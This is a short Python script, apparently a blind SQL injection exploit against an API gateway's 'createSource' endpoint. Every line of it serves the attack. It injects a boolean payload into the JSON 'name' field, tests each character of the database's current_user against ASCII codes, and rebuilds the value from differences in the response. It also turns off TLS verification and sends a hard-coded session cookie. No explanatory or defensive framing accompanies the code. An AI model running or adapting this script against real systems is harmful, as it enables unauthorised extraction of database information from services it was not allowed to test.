1 import requests 2 import json 3 import warnings 4 warnings.filterwarnings("ignore") 5 6 url = 'https://1.1.1.1/xx/1.0/apiGateway/createSource' 7 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'} 8 cookies = {'session': 'aaaaaaaatZSI6eyIgYiI6IllXUnRhVzQ9In19.DYkTeA.9GSxXpaWvW1vSMyUVxCRkXkkgTQ'} 9 answer = '' 10 11 12 for i in range(1,9): 13 for j in range(65, 123): 14 payload = '111\' and ascii(substr(current_user,'+str(i)+',1))='+str(j)+'--+' 15 # print payload 16 data = { 17 "name": "bobac", 18 "type": "1", 19 "protocol": "http", 20 "method": "POST", 21 "url": "www.www.com", 22 "port": "80", 23 "timeout": 3, 24 "params": [{ 25 "name": "a", 26 "changeParam": "true", 27 "position": "Parameter Path", 28 "type": "string", 29 "must": "true", 30 "default": "a" 31 }] 32 } 33 json_string = json.dumps(data) 34 # print type(json_string) 35 new_string = json_string.replace("bobac", payload) 36 new_data = json.loads(new_string) 37 # print new_data 38 # exit(0) 39 req = requests.post(url, headers=headers, cookies=cookies, json=new_data, verify=False) 40 # print req.text 41 # exit(0) 42 if 'xxxx' in req.text: 43 answer += chr(j) 44 print answer 45 print 'current_user is %s' % answer